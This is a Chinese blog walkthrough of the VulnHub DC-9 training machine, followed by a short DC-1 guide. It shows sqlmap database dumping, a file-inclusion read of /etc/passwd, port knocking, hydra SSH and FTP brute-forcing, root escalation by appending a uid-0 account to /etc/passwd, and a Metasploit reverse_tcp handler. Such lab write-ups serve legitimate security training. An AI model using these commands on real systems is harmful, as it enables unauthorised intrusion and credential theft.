VulnHub靶机 DC-9 靶机 详细渗透过程

VulnHub靶机 DC-9 打靶实战 详细渗透过程

一、将靶机配置导入到虚拟机当中

靶机地址:

https://www.vulnhub.com/entry/dc-9,412/

image-20240427175043625

二、渗透测试

主机发现

通过使用arp-scan或者nmap进行主机发现

arp-scan -l

image-20240427175427033

端口扫描

发现主机后进行信息收集,端口扫描

nmap -p- 192.168.43.5

image-20240427175522914

开放HTTP80端口和SSH22端口,但是发现22端口为filtered状态,然后接下来查看HTTP的服务详情

nmap -p80 -sV -A 192.168.43.5

image-20240427175639500

访问web界面

image-20240427175753617

image-20240427175942360

指纹探测

whatweb http://192.168.43.5/index.php

image-20240427175930547

目录扫描

dirsearch -u http://192.168.43.5/ -i 200

image-20240427182930175

出来的目录基本都是在web界面当中所点击选项进行跳转所触发的目录

Web渗透

SQL注入

在搜索栏下发现有交互内容,输入一下信息并无输出什么,抓包尝试SQL注入

image-20240427183106599

抓取数据包,通过FUZZ测试SQL注入,发现有回显点,页面变化

image-20240427183224422

image-20240427183300197

页面发送变化,返回信息

image-20240427184721615

保存原始数据包,直接放入到sqlmap当中进行执行

//测试SQL注入,判断当前数据库,同时是否为DBA
python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs

成功注入,发现当前使用的数据库,但并不是DBA

image-20240427183451884

脱库

python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs -D Staff --dump

image-20240427183615639

users数据表当中发现用户名和密码,将密码进行md5解密

image-20240427183643305

image-20240427183706128

用户名:admin
密码:transorbital1

由于使用的当前数据库为Staff,所以可以直接判断出此用户名和密码即为后台管理员用户名和密码。

知道此,那么还有另一个数据库,继续脱库

python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs -D users --dump

拿到大量的用户名和密码信息,保存下来

image-20240427183857256

登入后台

拿到的用户名和密码进行后台,登录进行,发现低端爆出文件未找到的信息,可能存在文件包含,根据提示尝试一下,成功读取/etc/passwd

image-20240427184905771

image-20240427185020733

文件包含
http://192.168.43.5/welcome.php?file=../../../../etc/passwd

image-20240427185726398

image-20240427185806810

通过/etc/passwd可得拥有很多的用户名,其中包括users数据库当中的用户名

image-20240427185927721

image-20240427183857256

SSH爆破

将之前保存下来的这些用户名和密码,进行爆破

hydra -L user.txt -P passwords.txt ssh://192.168.43.5
提权

ssh爆破得到三个用户名和密码,分别登录即可。

ps:如果ssh不能登录,是因为22端口没有打开,流量过滤了,在前面信息收集当中发现22端口是关闭的。但我这里通过爆破后进行ssh登录时可直接登录的,可能在前面端口扫描时触发了规则导致打开。

详细参考:安全系列之端口敲门服务

如果不能ssh连接原因如下:

image-20240427175522914

存在knockd服务。
该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问。
不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听。进一步提升了服务和系统的安全

//配置文件路径
默认配置文件是:/etc/knockd.conf

image-20240427212543349

//自定义端口后,依次对其进行敲门,然后就可以开启ssh服务进行连接了
//命令如下:
nmap 192.168.43.5 -p 7469
nmap 192.168.43.5 -p 8475
nmap 192.168.43.5 -p 9842
//执行完成过后,重新扫描22端口,即可发现ssh服务已经开启,可以访问

image-20240427213635311

ssh爆破,使用hydra工具进行爆破,等待即可

image-20240427190635480

chandlerb用户:

image-20240427191727259

joeyt用户:

image-20240427191750934

janitor用户:

image-20240427191819255

通过find命令和sudo -l 命令三者用户皆无得到可利用信息

但是通过三者发现在janitor用户的家目录下多了一个隐藏文件,查看后发现为密码文件,那么将这些密码添加到之前的字典当中,再次爆破一次

hydra -L user.txt -P passwords.txt ssh://192.168.43.5

image-20240427191928396

发现成功爆破出新的用户登录信息,进行登录。或者直接su切换也可

ssh fredf@192.168.43.5

image-20240427192256334

sudo -l命令查看到以root权限运行的文件,进行查看

sudo -l

test为可执行文件

image-20240427192340092

image-20240427192423912

查看所在目录的一些信息,寻找可利用内容

image-20240427192643948

返回上级目录查找到py文件,查看脚本内容

python脚本意思为将参数1进行读取,将参数1的内容写入到参数2当中

image-20240427193128772

那么接下来就可以进行构造/etc/passwd文件当中的信息,进行追加用户信息即可提权,仿照/etc/passwd文件当中内容进行构造信息

//etc/passwd下的root用户信息
root:x:0:0:root:/root:/bin/bash

//根据root信息,构造用户信息追加到/etc/passwd文件当中,添加admin用户
admin:$1$123$Ok9FhQy4YioYZeBPwQgm3/:0:0:admin:/root:/bin/bash

ps:使用openssl生成密码即可

openssl passwd -1 -salt 123 admin
//-1为MD5加密算法,-salt指定盐值,后面为密码
//将上述构造的语句写入到文件当中

image-20240427194552701

将构造的信息保存到一个文件当中,然后接下来执行text即可

目前的/etc/passwd当中没有新增用户

image-20240427194726693

执行后:

sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd

image-20240427194855063

image-20240427194842306

成功追加,直接su切换admin用户,输入密码,成功提权

su admin
Password:admin

image-20240427194942120

思路:主机发现—端口扫描—服务探测—指纹识别—Web渗透SQL注入—登入后台—文件包含—"敲门"打开22端口—SSH爆破—得到相关用户信息并远程登录—提权—分别搜寻三个用户下的目录文件—拿有价值信息进行查看—得到带有root权限的执行命令—分析并成功提权


VulnHub靶机 DC靶机系列 通关手册

DC-1:Vulnhub靶机 DC-1 渗透详细过程

DC-2:Vulnhub靶机 DC-2 渗透详细过程

DC-3:Vulnhub 靶机 DC-3 实战系列 渗透详细过程

DC-4:VulnHub系列 DC-4靶机 渗透详细过程

DC-5:VulnHub靶机 DC-5 打靶 渗透测试详细过程

DC-6:Vulnhub靶机 DC-6 打靶实战 详细渗透测试过程

DC-7:VulnHub靶机 DC-7 打靶 渗透详细流程

DC-8:VulnHub靶机 DC-8 打靶实战 详细渗透过程

DC-9:VulnHub靶机 DC-9 靶机 详细渗透过程


文章不妥之处,欢迎批评指正!

### VulnHub DC-1 靶机 攻略 介绍 下载 #### 关于DC-1靶机 VulnHub上的DC-1靶机旨在提供给安全爱好者和渗透测试学习者一个实践平台,在此环境中可以合法地进行各种攻击尝试,从而提升技能。该虚拟环境模拟了一个存在多个已知漏洞的服务网络应用,允许参与者通过一系列挑战来获取系统的控制权并最终找到隐藏的标志文件(flag)[^1]。 #### 获取与安装 为了开始体验DC-1靶机的任务,首先需要访问[VulnHub官方网站](https://www.vulnhub.com/)搜索栏输入“DC-1”,点击进入详情页面下载对应的镜像文件(OVA格式),之后按照提示导入到支持OVA标准的虚拟化工具如VirtualBox或VMware Workstation Pro中完成部署工作[^3]。 #### 初始配置建议 启动后的DC-1默认会分配一个私有IP地址(例如:`192.168.x.x`),此时应该确保Kali Linux作为攻击端能够与其在同一局域网内通信正常;可以通过ping命令验证连通性状况良好后再继续后续操作。 #### 基础信息搜集阶段 当确认双方设备间通讯无碍后便进入了实际演练环节——即从基础的信息收集做起。这一步骤通常涉及使用Nmap扫描开放端口和服务版本探测等手段以了解目标主机概况: ```bash nmap -A <target-ip> ``` 上述指令将会返回有关远程服务器运行状态的关键情报,为下一步制定针对性策略奠定坚实的基础。 #### 进阶探索与利用路径 随着对DC-1认识程度加深,接下来便是寻找潜在的安全缺陷加以利用的过程。根据已有经验分享可知,成功建立Meterpreter回话意味着已经突破了初步防线,获得了更深层次的操作权限: ```ruby use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost <local-ip> # Kali IP address exploit ``` 以上Metasploit框架下的设置可帮助快速搭建监听服务等待来自受害者的连接请求,一旦形成稳定的交互通道即可执行更多高级功能比如浏览目录结构直至定位至预设的目标文件位置。 #### 密码破解辅助技巧 考虑到可能存在弱密码保护的情况,采用Hydra这样的暴力猜解程序配合常用用户名列表以及大型词库资源不失为一种高效的方法去揭示真实的身份凭证组合关系[^4]: ```bash hydra -L /usr/share/wordlists/user.txt -P /usr/share/wordlists/rockyou.txt.gz ftp://<target-ip> ``` 这里展示了针对FTP协议实施登录认证绕过的实例,当然具体应用场景还需视实际情况灵活调整参数选项。
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值